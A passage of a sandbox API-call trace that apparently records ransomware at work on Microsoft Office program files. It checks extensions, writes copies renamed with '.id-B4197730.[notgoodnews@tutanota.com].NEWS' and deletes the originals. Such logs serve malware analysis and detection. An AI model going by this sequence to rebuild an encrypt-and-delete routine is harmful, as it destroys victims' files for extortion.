lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.752] lstrlenW (lpString=".xlsx") returned 5 [0174.752] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.752] lstrlenW (lpString=".ppt") returned 4 [0174.753] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0174.753] lstrlenW (lpString=".zip") returned 4 [0174.753] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.753] lstrlenW (lpString=".rar") returned 4 [0174.753] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.753] lstrlenW (lpString=".bz2") returned 4 [0174.753] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.753] lstrlenW (lpString=".7z") returned 3 [0174.753] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0174.753] lstrlenW (lpString=".dbf") returned 4 [0174.753] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0174.753] lstrlenW (lpString=".1cd") returned 4 [0174.753] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0174.753] lstrlenW (lpString=".jpg") returned 4 [0174.753] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.753] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0174.753] lstrlenW (lpString="SPPRedist.msi") returned 13 [0174.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.754] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=12640256) returned 1 [0174.754] CloseHandle (hObject=0x4dc) returned 1 [0174.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi")) returned 0x220 [0174.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0174.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0174.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0174.755] lstrlenW (lpString=".doc") returned 4 [0174.755] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0174.755] lstrlenW (lpString=".docx") returned 5 [0174.755] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0174.755] lstrlenW (lpString=".pdf") returned 4 [0174.755] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0174.755] lstrlenW (lpString=".xls") returned 4 [0174.755] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0174.755] lstrlenW (lpString=".xlsx") returned 5 [0174.755] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0174.755] lstrlenW (lpString=".ppt") returned 4 [0174.755] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0174.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0174.755] lstrlenW (lpString=".zip") returned 4 [0174.756] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0174.756] lstrlenW (lpString=".rar") returned 4 [0174.756] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0174.756] lstrlenW (lpString=".bz2") returned 4 [0174.756] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0174.756] lstrlenW (lpString=".7z") returned 3 [0174.756] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0174.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0174.756] lstrlenW (lpString=".dbf") returned 4 [0174.756] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0174.758] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.758] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.767] GetLastError () returned 0x0 [0174.767] ReadFile (in: hFile=0x514, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xfa976, lpOverlapped=0x0) returned 1 [0174.978] WriteFile (in: hFile=0x4dc, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xfa980, lpOverlapped=0x0) returned 1 [0174.999] ReadFile (in: hFile=0x514, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0174.999] WriteFile (in: hFile=0x4dc, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x10c, lpOverlapped=0x0) returned 1 [0174.999] SetEndOfFile (hFile=0x4dc) returned 1 [0175.000] CloseHandle (hObject=0x4dc) returned 1 [0175.000] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0175.000] SetEndOfFile (hFile=0x514) returned 1 [0175.800] CloseHandle (hObject=0x514) returned 1 [0175.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0175.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 1 [0176.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0176.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0176.115] lstrlenW (lpString=".doc") returned 4 [0176.115] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0176.115] lstrlenW (lpString=".docx") returned 5 [0176.115] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0176.115] lstrlenW (lpString=".pdf") returned 4 [0176.115] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0176.115] lstrlenW (lpString=".xls") returned 4 [0176.115] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0176.115] lstrlenW (lpString=".xlsx") returned 5 [0176.115] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0176.115] lstrlenW (lpString=".ppt") returned 4 [0176.115] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0176.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0176.115] lstrlenW (lpString=".zip") returned 4 [0176.115] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0176.115] lstrlenW (lpString=".rar") returned 4 [0176.115] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0176.115] lstrlenW (lpString=".bz2") returned 4 [0176.115] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0176.115] lstrlenW (lpString=".7z") returned 3 [0176.115] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0176.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0176.116] lstrlenW (lpString=".dbf") returned 4 [0176.116] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0176.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0176.116] lstrlenW (lpString=".1cd") returned 4 [0176.116] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0176.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0176.116] lstrlenW (lpString=".jpg") returned 4 [0176.116] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0176.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0176.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0176.116] lstrlenW (lpString=".doc") returned 4 [0176.116] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0176.116] lstrlenW (lpString=".docx") returned 5 [0176.116] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0176.116] lstrlenW (lpString=".pdf") returned 4 [0176.116] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0176.116] lstrlenW (lpString=".xls") returned 4 [0176.116] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0176.116] lstrlenW (lpString=".xlsx") returned 5 [0176.116] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0176.116] lstrlenW (lpString=".ppt") returned 4 [0176.116] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0176.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0176.116] lstrlenW (lpString=".zip") returned 4 [0176.116] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0176.116] lstrlenW (lpString=".rar") returned 4 [0176.116] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0176.116] lstrlenW (lpString=".bz2") returned 4 [0176.116] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0176.116] lstrlenW (lpString=".7z") returned 3 [0176.116] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0176.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0176.117] lstrlenW (lpString=".dbf") returned 4 [0176.117] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0176.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0176.117] lstrlenW (lpString=".1cd") returned 4 [0176.117] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0176.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0176.117] lstrlenW (lpString=".jpg") returned 4 [0176.117] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0176.117] lstrcmpiW (lpString1=".msu", lpString2=".NEWS") returned -1 [0176.117] lstrlenW (lpString="Windows8.1-KB2999226-x64.msu") returned 28 [0176.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0176.414] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=994589) returned 1 [0176.414] CloseHandle (hObject=0x51c) returned 1 [0176.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 0x220 [0176.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0176.414] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.414] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0176.415] GetLastError () returned 0x0 [0176.415] ReadFile (in: hFile=0x51c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xf2d1d, lpOverlapped=0x0) returned 1 [0176.523] WriteFile (in: hFile=0x36c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xf2d20, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xf2d20, lpOverlapped=0x0) returned 1 [0176.549] ReadFile (in: hFile=0x51c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0176.549] WriteFile (in: hFile=0x36c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x10c, lpOverlapped=0x0) returned 1 [0176.549] SetEndOfFile (hFile=0x36c) returned 1 [0176.550] CloseHandle (hObject=0x36c) returned 1 [0176.550] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.550] SetEndOfFile (hFile=0x51c) returned 1 [0176.592] CloseHandle (hObject=0x51c) returned 1 [0176.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 1 [0176.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0176.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0176.645] lstrlenW (lpString=".doc") returned 4 [0176.645] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0176.645] lstrlenW (lpString=".docx") returned 5 [0176.645] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0176.645] lstrlenW (lpString=".pdf") returned 4 [0176.646] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0176.646] lstrlenW (lpString=".xls") returned 4 [0176.646] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0176.646] lstrlenW (lpString=".xlsx") returned 5 [0176.646] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0176.646] lstrlenW (lpString=".ppt") returned 4 [0176.646] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0176.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0176.646] lstrlenW (lpString=".zip") returned 4 [0176.646] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0176.646] lstrlenW (lpString=".rar") returned 4 [0176.646] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0176.646] lstrlenW (lpString=".bz2") returned 4 [0176.646] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0176.646] lstrlenW (lpString=".7z") returned 3 [0176.646] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0176.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0176.646] lstrlenW (lpString=".dbf") returned 4 [0176.646] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0176.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0176.646] lstrlenW (lpString=".1cd") returned 4 [0176.646] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0176.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0176.646] lstrlenW (lpString=".jpg") returned 4 [0176.646] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0176.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0176.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0176.646] lstrlenW (lpString=".doc") returned 4 [0176.646] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0176.646] lstrlenW (lpString=".docx") returned 5 [0176.646] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0176.646] lstrlenW (lpString=".pdf") returned 4 [0176.646] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0176.646] lstrlenW (lpString=".xls") returned 4 [0176.646] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0176.646] lstrlenW (lpString=".xlsx") returned 5 [0176.647] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0176.647] lstrlenW (lpString=".ppt") returned 4 [0176.647] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0176.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0176.647] lstrlenW (lpString=".zip") returned 4 [0176.647] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0176.647] lstrlenW (lpString=".rar") returned 4 [0176.647] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0176.647] lstrlenW (lpString=".bz2") returned 4 [0176.647] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0176.647] lstrlenW (lpString=".7z") returned 3 [0176.647] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0176.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0176.647] lstrlenW (lpString=".dbf") returned 4 [0176.647] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0176.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0176.647] lstrlenW (lpString=".1cd") returned 4 [0176.647] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0176.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0176.647] lstrlenW (lpString=".jpg") returned 4 [0176.647] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0176.647] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0176.647] lstrlenW (lpString="AccessR_OEM_Perp-ul-oob.xrm-ms") returned 30 [0176.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0176.648] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11587) returned 1 [0176.648] CloseHandle (hObject=0x550) returned 1 [0176.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0176.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0176.649] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.649] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0176.649] GetLastError () returned 0x0 [0176.649] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d43, lpOverlapped=0x0) returned 1 [0176.735] WriteFile (in: hFile=0x450, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0176.737] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0176.737] WriteFile (in: hFile=0x450, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x110, lpOverlapped=0x0) returned 1 [0176.737] SetEndOfFile (hFile=0x450) returned 1 [0176.737] CloseHandle (hObject=0x450) returned 1 [0176.737] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.737] SetEndOfFile (hFile=0x550) returned 1 [0176.741] CloseHandle (hObject=0x550) returned 1 [0176.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0176.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0176.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0176.746] lstrlenW (lpString=".doc") returned 4 [0176.746] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0176.746] lstrlenW (lpString=".docx") returned 5 [0176.746] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0176.746] lstrlenW (lpString=".pdf") returned 4 [0176.746] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0176.746] lstrlenW (lpString=".xls") returned 4 [0176.746] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0176.746] lstrlenW (lpString=".xlsx") returned 5 [0176.746] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0176.746] lstrlenW (lpString=".ppt") returned 4 [0176.746] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0176.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0176.746] lstrlenW (lpString=".zip") returned 4 [0176.746] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0176.746] lstrlenW (lpString=".rar") returned 4 [0176.746] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0176.747] lstrlenW (lpString=".bz2") returned 4 [0176.747] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0176.747] lstrlenW (lpString=".7z") returned 3 [0176.747] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 